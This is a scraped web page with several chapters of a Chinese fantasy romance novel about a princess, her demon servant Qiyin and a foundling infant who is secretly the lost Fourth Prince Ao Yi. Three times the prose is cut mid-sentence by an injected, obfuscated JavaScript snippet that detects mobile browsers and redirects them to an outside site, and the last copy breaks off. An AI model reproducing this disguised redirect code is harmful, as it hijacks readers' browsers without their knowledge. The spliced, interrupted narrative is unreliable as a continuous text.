桑桑:“您不是说要全力去找四太子么,阿黄跟他说了,清晨时他们四个就出去了,现下只有我们三人在。听说其余仙洲也派了人去找,只不过他们有法器,我们什么都没有,只能碰碰运气了。” 姬灵水笑笑:“说不准运气很好呢?我向来言出法随,就说——四太子自己找上门来。” 姬小蓝根本没听二人在说什么,只盯着姬灵水的脸出神。 不一会儿便觉得无聊,嚷嚷着用手指一旁木柜上的瓶瓶罐罐。 桑桑见状将东西全抱过来放桌案上,又接过姬小蓝,让他直立着,自行去拿那些小玩意儿玩。 姬灵水洗漱完毕后问桑桑:“不过也有些怪,为何找了这么久都找不到?虽说四太子失了记忆,可天界的人总认得他,再不济,也认识他身上的灵力啊。” “只怕是失了记忆,也不再有灵气了。”桑桑叹气,“如今人是死是活也不知晓,或许早成孤魂野鬼了。” 她眼正好往手上的人儿脸上一瞥,瞬间惊叫出声:“小蓝,别拿那个!” 姬小蓝正将灯盏举得高过头顶,猝然被桑桑的话一惊,铜黄色的灯盏骤然脱手,直直砸向脑门! 霎那间呼唤声不绝于耳,姬小蓝头脑发晕,竟连啼哭都忘了,与此同时,不属于他的记忆大片大片往脑中涌。 · 是夜屺阴一回上仙洲便见到姬灵水神情恹恹的模样。 他只抬眼往榻上一扫。 姬小蓝脑门上裹着布条,姬灵水瘫坐在榻下,上半身似是脱力支撑不住自己,软软倚靠在床沿,焦急的眼神凝在姬小蓝身上。 屺阴轻开口:“今日寻了三座仙山,皆无四太子踪迹。” 姬灵水还懵懵的,脑袋转过来,两只眼底肿得像蟠桃。 显而易见,她在为一个妖鬼的安危伤心落泪。 姬灵水见了屺阴,很委屈似的,但还是命令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585763|205251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他:“你别走,过来。” 屺阴迟疑片刻,还是走向床榻。 “发生了何事?” 姬灵水喉间发涩:“是我不好,没注意让它不要拿那么重的东西,一不小心就砸到头了,昏过去后再也没醒。” 姬烬水说得一点错都没有,她就是蠢钝无比,无用至极,离了别人便什么都做不好。 “照顾不好就不必硬照顾。”他说。 “可事情已经发生了,你现在怪我也没用。我也不想有人因我而死,如若我没带它回来,它死了我也不会如此难过。”姬灵水动作有些僵硬,她仰头看向神情冷峻的屺阴,伸手攀上他的衣摆,攥紧。 “再怎么说你们都是同类,你能救它对吧?” 屺阴看向攥他衣摆的那只手腕,同样裹着布条,其上还有殷红的血迹渗出。 他瞳孔猛然收缩。 “你给他喂血了?” 姬灵水点点头,踟蹰道:“我……想不到别的办法。” “妖鬼不能食仙人的血,如此只会适得其反。”屺阴眸色暗沉,当初姬烬水以血饲他,还是为了种下牵脉引。 “我……” 姬灵水脸涨得通红,“我听哥哥说,当初他就是用血救活你的,我不知道,我不知道……” “公主。”屺阴打断她,冷声,“这不是轻贱他人性命的借口。” “当初你就不该捡他。” 如同天池边,她和姬烬水的一时兴起,便会葬送人的一生。 如今明明知晓自身难保,为何还要轻易决定他人的归属?只因他们都是无足轻重的妖鬼么。 姬灵水此时犹如做错事的孩子,双手攥他攥得更紧,泪珠一颗一颗往下掉,“屺阴,你想想办法。” 姬灵水从未在人面前如此低声下气过,更不要说昔日在屺阴面前她总是趾高气昂。 可此时她顾不了那么多了。 她不要一个鲜活的生命在她眼前消逝,她不要自我厌恶,不要昭告天下她是个蠢人。 她冷静道:“这次救活它之后,我不会插手它的生活,禁锢它的自由。亦不会像从前对你那样对它。” 屺阴垂眸睨她,一副事不关己之态:“只有你的灵力能将你的血引出来。” 他早提醒过姬小蓝,跟在姬灵水身边势必会有这么一日,是他不听罢了。 他说这话也是为了讽刺姬灵水。 对不学无术的姬灵水而言,外部进补的灵力是她为数不多的“命根”。她如今能控冰晶,能幻化本体,所依赖的只有屈指可数的那么一点儿灵力。 上回在镇鬼池她嘴上也说愿渡灵力救他,可那也能解释为她独身在鬼域性命受迫而不得不为之。 屺阴从不相信一个人的本性能如此快地变幻。 尤其是对待一只卑贱的妖鬼。 “好。”未想姬灵水答应得极快。 屺阴愕然了一瞬。 她已撑着床沿起身,弯身向下,正预备以口渡气。 “等等。” 他眉心微跳,指尖紧扣在剑柄之上。 正欲开口,只见眼前婴孩魂魄出体,一张俊美的少年脸庞虔诚地吻向姬灵水的眼睛。 “姐姐,别哭。” 8. 敖亦 姬灵水闭眸,恍惚间耳畔响起一道少年轻柔的呼唤。 姐姐……? 随之而来的是一份同样柔和的触感。 那触感使她眼底坠下的泪珠蓦地停滞流动,浅浅晕湿在颊边。 仿佛有人在为她拭泪……不像是用手。 姬灵水惊慌地睁开眼,如同上次在镇鬼池一般,榻上的婴孩本该濒死垂危,此刻却面色如常,正张开双眼凝视着她。 之前的一切仿佛是她的幻觉。 姬灵水隐隐感到不安。 她支起身子,脚步后退至屺阴身侧,试探着开口:“方才我听到有人说话,你听到了吗?” 她睁眼时余光更是凝见一些蓝色的雾气,只是那雾气稍纵即逝,让她来不及分辨。是太累而眼花了么? 屺阴挑眉:“听到了什么?” 听到……听到姬小蓝叫她别哭?这太荒谬了,那分明是少年的声音,可小蓝仍是个婴孩,没多少灵力,根本不会说话。 姬灵水不回答他的话,支吾着说:“他、他为什么又自己活了?跟上次一样,明明呼吸都微弱了,可我们什么都没做,他就自己莫名其妙好了。妖鬼都这样吗?” 屺阴抱臂,凉凉的目光落在正咬手指的姬小蓝身上:“我不这样。” 姬灵水脸已白了几分,脚步止不住地后退,甚至半个身子藏在屺阴背后。 她幽幽道:“你上次说,小妖鬼的体内可能有上百上千年的魂魄,是真的?” “嗯,不过躯体过小,亦对魂魄有所限制。”他解释道,“譬如魂魄不能出体太久,不能施展术法。” 说着屺阴忽而低笑一声:“方才公主听到了什么,竟吓成这样?” “什么都没听见。”姬灵水倏尔深吸了一口气,眼神往小蓝那儿一瞟,却见它似乎听懂了他们谈话似的,张牙舞爪表示抗议。 她要晕过去了。 这几日她忙上忙下精心喂养,恨不得把小蓝揣怀里,又亲又抱又捏着嗓子哄,现下告诉她,有可能小蓝内里有个生长了百年乃至千年的魂魄? 况且,方才那幻觉的声音听起来像个男孩。 她她她……这这这…… 她拽住屺阴后背的衣料,余光不敢去看小蓝。 “这几日你不要出去找人了,留下来带、带孩子。” “我?”屺阴皱眉,“不要。” 人是她带回来的,与他有什么干系。 “你不是担心我虐待它吗?你刚才还说我是自作自受,说我照顾不好人非要照顾,”姬灵水越说越有底气,几乎梗着脖子,“这下孩子让你来带,总不会再害了人家吧?它是妖鬼,你也是妖鬼,你定是比我懂怎么带了。” “我不会。”屺阴直接偏过头,语气中罕见地有几分硬气。 “上仙洲轮得到你说不吗?”姬灵水更是高声,姣美的面上秀眉蹙紧,“我再问你一次,带不带?” “……” 屺阴的头仍侧在一边,唇紧紧抿着。 姬灵水立即行到那一侧,盯着屺阴的眼睛看:“说话。” 屺阴把头侧向另一边。 姬灵水又走到另一侧。 套着银钏的手直直伸出去,却是两指捏住屺阴的脸颊。 狠狠捏他的脸颊肉。 “说话呀。” 银钏随着纤细的手腕晃动,溢出细碎的铃音。 眼前的姬灵水如同一只愤怒的小鹿,神情凶神恶煞,眼里仍是一汪荡漾的湖水。 他向来习惯在她面前低头,所以从未这样直视过她生气发难时的脸,视线只触及一瞬,便下意识地垂眸。 应当是过于厌恶这张脸,他想。 曾让他做过噩梦的脸。 纵然是美得惊心动魄的一张脸。 但他也讨厌。 面上有轻微的痛感,他用执剑柄的那只手向外微微一挡,手背正好碰上她冰冷的银钏。 “知道了。” 这还差不多,要是别的事也这么听话就好了。姬灵水松了手,他冷白的肌肤上骤然浮现一团粉红痕迹。 姬灵水忽地想起从前,有些心虚地问:“疼吗?” “我没用力……” 屺阴没理会她,径直走到床榻边,抱着臂居高临下地与姬小蓝对视。 见两人大眼瞪小眼僵持了一阵子,姬灵水忍不住出声:“你就这么带孩子?” “不然?” 屺阴走到桌案边,拿了个凳子放到榻侧,往那儿一坐,眼神直勾勾盯着他。 像在盯一个犯人。 他能不知道么,这人根本就不需要照顾,甚至他根本就不是个孩子。 “随你。”姬灵水没好气地拉着另一个凳子到离他两步远的榻侧,同样坐了下来。 氛围极为诡异。 三人相顾无言,一直到深夜。 终是姬灵水按耐不住,推着屺阴去把小蓝抱起来。 “我要睡了,你也带它去睡。” 这回不只是屺阴不愿意,姬小蓝也发出不满的哼声,两只手在空中胡乱挥拳,愤然揍向端着它的屺阴。 屺阴瞥姬灵水一眼,眸中意味十分清晰。 “好好好,不去算了。我真是上辈子欠了你们妖鬼。”姬灵水灵力微弱,自然精力不足,这会儿眼皮已然开始打架,脑子也犯晕。先前因为担忧姬小蓝生死,哭得昏天暗地的,平复下来后仿佛身体被掏空,实在是浑身都累。 可一想到那个声音极有可能是姬小蓝的魂魄发出的,她就全身上下都不舒服。说不出什么感受,或许是心中膈应。 她只好又板着脸命令屺阴留下来。 可也不知道怎么睡好啊。 三人睡在一张床上怪怪的,再说就屺阴那副恨不得离她远远的,生怕被她吃掉的模样,肯定不会愿意。 让屺阴睡地上好了。 那小蓝跟他一起睡? 这么小的孩子睡在地上也不好。 那她睡地上? 怎么可能。 要是小蓝体内真有个少年,一切纠结都算有道理,可要真是她弄错了,孩子就是无辜的。 ……反正只要不跟小蓝共处一室就行。 见姬灵水一副要把唇咬出血的忧虑之态,屺阴难得好心帮她出主意:“扔掉就好了。” “什么?” 屺阴看着姬小蓝:“不想照顾,扔掉他就行。” ……又来了,又在讽刺她。 她从前是对姬烬水说过把屺阴扔掉这样的话,对他的伤害这么大?都过去几百年了,竟还记得如此清楚。 如今看来化敌为友尚且任重道远,更别说还想要他的灵力了。 姬灵水抿唇,很真心地说:“我不会扔掉它,就像当初也没有真的把你扔掉,你们要死的时候,我不也用灵力救你们了吗?我很善良的。” 虽说她很庆幸两次都没真的消耗她的灵力就是了。 ……很善良吗。 屺阴木着脸:“我是说,他可能不需要你。” 姬小蓝适时发出愤怒的咿呀—— 姬灵水已从善如流走了过去,把小蓝接过搂在自己怀中:“它说它需要。你不用说那么多了,我很善良的,我会证明给你看。” “今夜还是我带着小蓝睡,以防意外,你也留下。” 她伸手往外一指:“这儿、这儿,桌上柜子上,地上,你想睡哪都可以。” 说完,她莞尔一笑,额间蓝莲花印记随之熠熠生辉。 “我太善良了,对吧?” 如此体贴,如此尊重,如此大度。 古未有之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585764|205251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。 · 屺阴抱着剑背靠屏风坐眠。 忽闻轻风拂过银面,他猝然睁眼,正要动手,面前少年阴恻恻的眸光似已将他刀了个大卸八块。 他低声一笑。 “你笑什么?”姬小蓝横眉。 “觉得好笑就笑了。”屺阴向来惜字如金,这会儿却突然觉得有趣,“笑你方才不敢出来,也只配在我面前造次了。” “你——” “声音小些,”屺阴打断他,幽幽道,“别把你姐姐吵醒了。” 黑夜中屺阴的眸色却更亮,也更冰冷,更无生气,活像一只鬼。 “她是蓬於的公主,自小被养得骄纵,受不得一点委屈,若你有心,早日回归天界,还能得她一份感激。长久留在她身边,有一日被她发现真身,只会厌你躲你。” 他凉凉掀眼:“你说呢,敖亦殿下?” “你什么时候知道的?”敖亦眯起双眼,面上没有几分惊讶,倒是极为好奇。 “我没她那么迟钝。”屺阴仰头,靠在屏风柱上。 自他知晓砸到他头上的东西是姬灵水从鬼市带回来的蕴魂灯盏时就猜到了,灯盏就算再重,也不会将一个妖鬼砸得昏迷数个时辰。 除非他正接收着灯盏里的记忆回魂。 只是刚回完魂他就迫不及待地出体来阻止姬灵水渡灵力给他,彼时状态不稳,因此强行被拘回了躯体内。 敖亦咧嘴轻笑,露出两颗虎牙。 略一思索,不知在回味什么。 “说的也是,只有她会猜不到。” “你方才说若我隐去灵力,不回天界,有朝一日被她发现,她会生气?”淡蓝的魂魄在半空中游走,时而快速时而缓慢,提到姬灵水时便不动了。 “她与家人争执,出走蓬於,心中所想便是早日混出名头。各大仙洲翻遍了六界都找不到的四太子,被上仙洲找到了,天帝会如何?”屺阴接着道,“但你若有心隐瞒此事,她定会痛心疾首,怪你不解她燃眉之急。” “你真了解她。”敖亦舌尖抵住牙齿,这话说得有滋有味。 “称不上了解,只要与她待上几日,不难看出她的秉性。” “你很不喜欢她?”敖亦问。 屺阴不语。 敖亦哂笑,须臾忽听屺阴说:“像你这样喜欢她的,我见过很多。” 从前还在蓬於的时候,除了本仙洲的弟子,也有其他仙洲慕名而来的仙君,只为一窥姬灵水芳容。 有时姬烬水忙碌,便会派他去一探究竟,担心真有人将她拐走。 所以他的确见过很多。 不过大多都没什么好下场罢了。 姬灵水很花心,向来图个新鲜,男人在她心里或许比不上一件衣裳。 六百年来,她唯一上过心的男人只有她哥哥。 不过那些人都与敖亦有个共同之处,那便是莫名对屺阴很有敌意,哪怕他表现出来的只是姬灵水召之即来挥之即去的一个侍从的本分,并无过界之举。 但他们可怕的独占欲挤压了仅存的理智,或许是天然的身份高位感所致,他们的情感很扭曲,就连姬灵水挥向他的巴掌他们也觉得那是带着香味的赏赐,是不属于妖鬼的一份殊荣。 他只觉得姬灵水给他们都下药了。 要不就是他们蠢。 比他这个妖鬼还蠢。 敖亦恍然大悟。 “你的意思是,独独你不喜欢她,你最特别是吧?” “……” “殿下好脑力。” 屺阴干脆假寐,不再多话。 不过敖亦思索了一整晚,觉得屺阴说得甚是有道理。 白日的时候姬灵水似乎是真被他吓了一跳。 他暗暗在掌心结咒,向天界发出信号。 9. 好事 万陵仙洲,长恨殿。 莲花湖雾气缭绕,蒸腾水汽中一朵巨大的莲花悄然盛放,露出坐于花芯上的清冷身形。 花芯不大,堪堪能坐下一人,鱼扶鹤闲时便会在此修性静心,此时他双眸紧闭,眉心蹙起,额间沁出细汗,神色罕见地有些惊惶。 他平心运气,压制下心中那股奇异之感,身后银发匀速而缓慢地变长,犹如丝带交错缠绕在花瓣之上。 不过几息,脑中画面再次袭来,愈发清晰。 画面同样是在莲花湖。 只是他盘起的双腿上坐了一个人。 女人。 她露出的小腿白皙纤细,其上有水蓝色的薄纱做掩,说是遮蔽,其实一览无余。 莲花座似不能承受两人的重量,周围的花瓣摇曳颤动着,时而轻时而急,有时怀中的人险些从花芯边缘坠下,他却恶劣一笑,银发延展而出,将她裹在其中,随后将她拉入更深的怀抱里。 鱼扶鹤的眉心越来越紧,他为得道,多年来清心寡欲,虽不得不遵从老主君之命娶亲,他也并未对所谓的妻子起过非分之想。 如今怎会邪淫入脑。 他再度静心沉气,一股真气正充盈体内时,脑海中的场景已至尾声,他驱开眼前浓重的雾气,一张绯红清丽的脸骤然显现。 霎那间,鱼扶鹤猛地睁眼,体内真气已破了个七八分,现下四处流窜,他闷哼一声,捂住胸口喘起气来。 那人……那人是姬灵水! 他本以为是妖孽作祟,可这般情形,竟像是他在肖想。 可他们自成婚后就见过一次面,莫说有过亲密之举,她就是进也没进过长恨殿,脑中情景怎会如此真实。 难道真是他在妄想。 他闭了闭眼,随后冷静下来,面上银纹突显,鱼扶鹤冷声开口:“是你在想她?” “那人”沉默一瞬,旋即道:“你明知你我思绪不可共通,在说什么鬼话?” 鱼扶鹤神色已复平常:“你即是我,我即是你,或许有时可以共通。” 那人却像被触及了什么痛处,厉声:“若真有那日,便是你我皆消亡之时。你要是不想死,就不要再去寻什么融合之法,我不想与你共存。” 鱼扶鹤轻笑,面上看不出情绪。 “融合不得,分离不得,就只能一个生一个死了。” 说罢,鱼扶鹤盯着左手边轻轻摇动的花瓣,梦中姬灵水腕上的银钏曾在其上留下一道划痕,此刻却光洁如新。 他声音低沉:“自从与她成亲后,你活下来的意愿似乎更强了。所以,你想杀了我,与她长久相伴吗?” 这回对方回答地很快:“你即是我,我即是你,我们都有共同的愿景,待完成后,再谈谁死谁活。” “可以,”鱼扶鹤显然很满意这个答案,他虽不知道“他”是何时趁他不注意与姬灵水攀扯上的,但这些都无法阻止他的宏图大业,“那现在,你能告诉我,为何要炼化那只妖鬼了么。” · 天界使者降临的消息传到上仙洲时,姬灵水还未梳妆,蓬头垢面地从榻上爬起来时,眼睛下面还挂着浓浓的乌青。 她昨夜做了一晚的噩梦。 梦里全是姬小蓝忽然变成个阴鸷少年的模样,手拿铁链追着她,逼问她为何要弃养自己。 姬灵水瑟瑟发抖,把一旁的姬小蓝捞进怀里,絮絮道:“我没有弃养,没有弃养……” 抬头看屺阴在屏风处候着,她忙叫他过来:“天界确定了四太子就在我们附近吗?那阿黄他们怎么没找到?完了,四太子要不就是昏迷,要不就是残了走不了。我们竟放任不管这么久。” 屺阴默默无言,半晌才挤出个“不用担心”。 没想到她这么关心素未谋面的自己。敖亦似乎很急迫,既想告知姬灵水,又不敢贸然出声。昨夜他思索了很久,觉得以魂魄的形态与她相见的确太过冒失。 可这小孩身体又不是他的,当日他魂魄快要溃散时,偶然掉入镇鬼池,便顺势借尸还魂了。 眼下必是不能相见了,只能待他重返天界,再塑肉身。 于是他又伸手抓来姬灵水的手指,轻轻用牙尖咬过她的指腹,随后满意笑了。 她太过可爱。 到了这步田地也没猜到是他。 他迫不及待想要用自己的身体与她见面。 也不知她会是什么神情。 姬灵水胡乱地收拾一番后,桑桑从外间进来,兴奋同她道:“无双公主来了!” 黎无双? 那个疯狐狸,好久不见,怎么挑这个时候来。 话音刚毕,一个鹅黄色的身影已翩然而至,飞快行到姬灵水面前,作势要扑进她怀中,被姬灵水伸手一拒。 黎无双也不恼,若有所思看了看殿内,而后道:“原来他们说的都是真的。” “又说我什么。”姬灵水撇嘴,“你来干什么的?我今日很忙。” “他们都说你疯了,跟姬烬水吵了架离家出走,自己开了个妖鬼仙洲,专门收容无家可归的妖鬼。”黎无双凝了眼屺阴,神色无辜,“你知道的,我哥哥本来就不喜我与你一起玩儿,你又出了这种事,他就让母亲把我关在神仑,不许我出门。” 她在房中走了几步,又问:“你怎么敢住在无生湖附近的,你不怕吗?” 听说无生之水可辨敌我,对外来者可蚀骨灼心,掉入后便会魂飞魄散。 自然是实在没地方住了!不然天底下她是最不愿靠近无生湖的人了。 姬灵水面上一热,略过这句,只问她:“那你现在怎么又能出门了?” 黎无双想起今日的正事,不禁发笑:“自然是你有好事了呀。” “你忘了我哥哥在天界当差么。” 没想到天界派来的使者是他,姬灵水眸光一亮:“什么好事?” “入仙籍,册君位。” 金光应声绽开,登时整个殿内流光四溢璀璨无比,一行人踏云而来,为首那人身着紫袍,额间金印闪烁,神态尽显威严。 众人唤他长微神君。 他淡淡睨来,伸手一挥,两人高的卷轴在空中展开,姬灵水扫了两眼,发觉上头竟都是夸奖她的话,说她是用自己的血救了四太子敖亦,才助他度过此劫,不至魂飞魄散。 血…… 她猝然看向姬小蓝,姬小蓝仍在笑,眼神却似洞悉一切。 黎长微再度抬手,襁褓已至他掌心上浮,他微颔首,对姬灵水道:“灵水君之善举,天帝已知晓始末,特命天界明日设宴相谢,上仙洲如今已入仙籍,届时灵水君可自领宝册玉印。” 竟连奖赏都这般合她心意,姬灵水欣然:“多谢长微神君,明日我会亲自跟天帝道谢。” 敖亦心神微动,用只能黎长微听到的声音问:“长微兄,我可以出来跟她说几句话么?” 黎长微神色不变:“不可。” 敖亦只能作罢,黎长微于他亦师亦友,他向来对其言听计从,当下也就憋了回去,反正明日就可以见了。 黎长微视线转回姬灵水面上,身后的侍者适时上前,将一块透明的神石送予姬灵水掌中。 “吾与敖亦乃是至交,便以此物聊表本君心意。听无双说你灵力低微,难以护身,这神石可以起些效用。” “你还想要什么,都可以提。” 姬灵水把神石捧在手心,看了又看,若是放在从前,她定也是什么都不稀奇,现下得了这好东西,却有些恍惚了。< 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黎无双倒是对姬灵水刮目相看,原来仙界盛传的姬灵水疯了一事不是谣言,而是真的。 她何时这么体贴过? “那便明日再恭迎灵水君了。”黎长微对使者示意离去,垂眸看向襁褓内的婴孩时,才发觉他眸底竟有清浅的水泽。 ……没出息。 “长微神君留步!”姬灵水忽然开口,“我还有一事想请教。” 黎长微:“请。” “传言天界神威山的南羲子练出不死金身,并将此术密存,唯愿传给五万年前的一位神将,可那神将不愿领受,奉生死由天之道。此后便再未听过不死金身的传说。”姬灵水吞咽唾沫,“听说南羲子有意赐长微神君不死金身。” 黎长微终于动了神色,他挑眉:“所以?” 若天书中说的一切都是真的,她的结局便是必死,偏偏其中并未写明她的死因,前世她的死更是意外,或许就像她的梦境一样,无论什么死法都是有可能的。 得到屺阴的灵力只能保她一时无虞,唯有不死金身才能让她高枕无忧。 重生了这么些天,她虽表面如从前一般过活,可心底从未真正放下忧虑,此事如同一把不知何时会掉下的悬剑,扰得她心神不宁。 “我只是想知晓,如何才能拜入南羲子……或是长微神君的门下?”姬灵水试探道。 殿内忽而一阵寂静。 黎无双心揪了起来,她没想到姬灵水如此出言,这话换个人来说都不会这般让人吃惊,可偏生是废柴姬灵水来说。 姬灵水在仙界的名号向来是无比响亮,谈论她的人大致分为两派,一派是坚定拥护她第一美人的称号,另一派则是认为她实乃金玉其外败絮其中,是蓬於老主君娇养之策致养废孩儿的实例,认为她不配称为仙人。 不过两派都有个共识,那便是姬灵水的美貌是用脑子换的。 黎无双是前者,她虽与姬灵水交好,可有时候也不得不承认姬灵水有些莽撞。 还不如直接说自己贪生怕死,就想不死不灭呢。还免得惹人笑话。 果真,黎长微身后的使者听了纷纷轻笑出声,更有甚者低声交头接耳,皆是鄙夷姬灵水的不自量力。 就连屺阴看向姬灵水的目光中也多了几分复杂。 唯独姬灵水并无半分窘迫,背脊挺得很直,直视黎长微,待他回应。 黎长微格外平静:“其实数万年来也不止那位神将被赐予过不死金身,但都不外乎是卓越之人,本君德行不足,功绩浅显,自认担当不起。若灵水君想得不死金身,可踏实修行,斩奸除恶,维护六界安宁,等做出一番功绩,再来求此术也不迟。” “告辞了。” 10. 天界 翌日,姬灵水起床等了许久也没见桑桑进来,只好唤阿绿来给自己梳头。 昨日黎长微带来许多天界的赏赐,桑桑高兴得不得了,捧着灵石数了大半夜不肯睡,准是兴奋过头起不来床。 阿绿一边梳头一边恭维:“先前哪想过咱们上仙洲如此轻易便能入仙籍呢,主君抱着四太子回来的时候,阿黄还吓我们说上仙洲要完蛋了,劝我们另谋出路;如今看来,他是早看出主君天资聪颖,乃气运之女,想独吞了好处罢。” 姬灵水揉揉太阳穴:“那你们怎么不走?” 阿绿嘿嘿一笑:“那不是没找到合适的去——” 仿佛刚出口才意识到不合时宜,阿绿赶紧闭了嘴,将一支白玉簪插入姬灵水发间,“听说天界恢宏不凡,我们这种人自是没福分去见识了,主君可得好好表现一番,若是能如长微神君那样能谋求个神官之职就更好了。” 姬灵水懒懒摆手,没滋没味道:“只是运气好捡到四太子而已,入仙籍对我来说是救命稻草,对仙界之人来说也不算奇闻,对天帝更是动动手指施个恩惠的小事。可要是做了神官,那便是仙界里头一份的荣耀,这等实打实有好处的东西,怎会像降个雨一般随随便便就给。” 阿绿说:“可听说从前册封仙洲主君,也没有这般大张旗鼓摆宴的,无双公主不是说各洲主君都会前去么。” “这可是救了天帝最疼爱的一位太子,自然不一样。”阿黄弯着腰轻步进来,挤着笑对姬灵水作礼,“若天帝不向世人表明诚意,日后五太子六太子七太子应劫之时,还有何人会施以援手呢?” 阿绿狐疑道:“每位太子应劫都要被劈下天界吗?那早早派人跟着不就好了。” 阿黄哼了声:“跟你说不清楚,下去吧。” “嘁。”阿绿翻了个白眼走了。 姬灵水愈发觉得困倦,打了个哈欠,问阿黄:“你来有什么事?桑桑呢?分明同她说了今日不可耽搁。” 阿黄面上立即布满忧虑之色:“小人正是要与主君禀报此事的,桑桑姑娘病了,托我来告知主君,恐怕不能同您前去天界。” “病了?什么病?昨日还好端端的。”姬灵水从凳上站起,一阵头晕袭来,险些眼花往旁倒下,还好及时扶住桌案。 阿黄虚扶她一把,又道:“说是昨夜数灵石的时候穿得单薄着了凉,又一夜未眠……身子便撑不住了。” “这个桑桑!”姬灵水咬了咬牙,目光又移到阿黄面上,“你们何时关系这么好了?她不亲自跟我说,还费心让你来传话。” 阿黄连忙道:“小人路过桑桑姑娘卧房时,正巧碰到她出来,言语之间见她模样虚弱,才主动帮姑娘传话的。” “罢了,我去看看她。”姬灵水刚走了两步,阿绿从外头冲进来,捧着一道令牌,嚷道:“主君,天界来信催促了。” 阿黄劝道:“主君,正事要紧,桑桑姑娘已服药睡下了。” “可我不能一个人都不带。”姬灵水低声道。 她从未去过天界,与其余仙洲主君也不尽相熟,自身又灵力低微,本就难以自在游走。 不过上仙洲如今除了她和桑桑就全是妖鬼,妖鬼不可能上天界,她根本就没有可带的人。 阿黄适时道:“不如让屺阴大人护送主君到天界门下的无极山处,再在无极山等候主君出来。只不过无极山仙气浓厚,屺……” “就这么办吧。”不知为何今日什么都没做就已疲累至极,懒得多说,姬灵水指尖轻碰,牵脉引起,很快一抹黑烟乍现,姬灵水早已见怪不怪,问他,“无极山知道么?” 银面下的眼睫微动,而后,屺阴轻嗯一声。 姬灵水边往外走边说:“送我到无极山,然后就在那儿等我,知道了吗?” 屺阴跟上她的脚步,眉头微皱,不知想到什么,回头凝了阿黄一眼。 阿黄冷不丁被这么一看,呆愣在原地,随后立马挤出个谄媚的笑:“大人,好走。” · 姬灵水上了云轿就睡了过去,直到听见屺阴唤她的声音才转醒过来。 “公主,到了。”屺阴说完便侧过头去,一副不想多看她的冷淡模样,姬灵水无心去管他,当下便被眼前的仙境景象所震撼,瞌睡醒了大半。 若说万陵的仙气有五成浓郁,无极山便是十成十的仙气充盈。 此处草繁叶茂,水静风清,仙草仙花为气作缀,无比的生机盎然。 姬灵水吸了几口气,顿觉神清气爽,先前的困倦早已不复存在。她欢欣地回头看屺阴,只见他头侧在一旁,指节在唇角狠狠拭过。 姬灵水甫才反应过来,忙去看他的脸,屺阴却仍冷硬地侧对着她,姬灵水两手倏地往前一伸,捧在他脸颊两侧,迫他转过头来,而后在屺阴稍显惊愕的眼神中窥见他面上的细密伤口与唇角的血渍。 “这么……这么严重。”姬灵水恼道,“我忘了这回事。” 屺阴面色已复平静,冷冷拂下她手,“不是什么重要的事。” 若放在从前她当然觉得这不是什么重要的事,可如今就像她是故意这么为难人似的,分明是想拉拢他,可无论怎么做也做不好。 “很疼吗?”姬灵水再次伸手,欲抚上他银面下最深的那道伤口,可手刚伸出去,手腕便被人猛地攥住。 姬灵水眼睛瞪大,“你!” “公主想说放肆吗?”屺阴松开她手,面色阴沉,墨黑的瞳孔盯着她,“那就请公主也如同从前一般,不要做逾越身份的举止。” 他说完迈步就走,姬灵水对他背影冷笑道:“逾越身份?主人对下人的关心而已,你以为是什么?” 屺阴脚步一顿,露出抹他自己也分不清是嘲讽还是释然的笑意来。 这才是姬灵水会说的话。 那厢姬灵水说出口就已后悔了,她拍了自己一巴掌,心里将自己骂了百八十回。 做出这样的事说出这样的话,日后被屺阴报复也是理所应当啊。 看来她本性就是如此坏坏的,要如何才能忍住嘛。 姬灵水郁郁走出了无极山。 无极山乃仙界与天界交接之地,出了无极山再行百步便可抵天界之门。 她有天界的令牌,自可通行无阻。 天帝早已派了使者在此等候姬灵水,姬灵水望着眼前的两排人,忍不住腹诽天界就是气派,随随便便派出的使者就比整个上仙洲人都多了。 一路行去,姬灵水仿佛行在云端,浩渺天宫人影稀疏,倒减少了几分紧张。 说是许多人前来的宴会,可席位分为两侧,正中通道宽敞得能站下十列天兵,仙雾之中姬灵水根本看不清两侧座上的人。 倒是偶有听见有人的小声议论,无非是一些初见之人夸赞她容貌的话语,随后定会跟一句旁人“金玉其外”的反驳。 再有就是说她运气好,暗暗数落上仙洲上不得台面诸如此类的话。 重生过一回,这些话都并不能波动她半分心绪,还不及说她短命杀伤力来得强。 随后便是例行公事了。 玉阶太过遥远高耸,难以窥见天帝真容,姬灵水俯首听天帝告诫,再从使者手中接过上仙洲的宝册玉印。 “上仙洲虽入仙籍,可接纳弟子,供修仙之道,但个中经营,还需灵水君自身费心。” “谨遵陛下教诲。” 一切都太过无趣。 使者将姬灵水引入席位,宴会正式开始,霎那间丝竹绕梁,姬灵水松了口气,后背被人拍了拍,回头见黎无双对她眨眼睛,“走,我们去玩。” 姬灵水看了看身侧,颇有些为难,“怎么说今日都是为我办的宴会吧,若是一会儿天帝问话……” 黎无双笑出声:“你什么时候这么谨慎听话了?” “放心吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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闻言,黎长微从书册中抬首,声音淡淡却又不容置喙:“殿下的姐姐是几位公主,吾并未阻碍你们相见。” 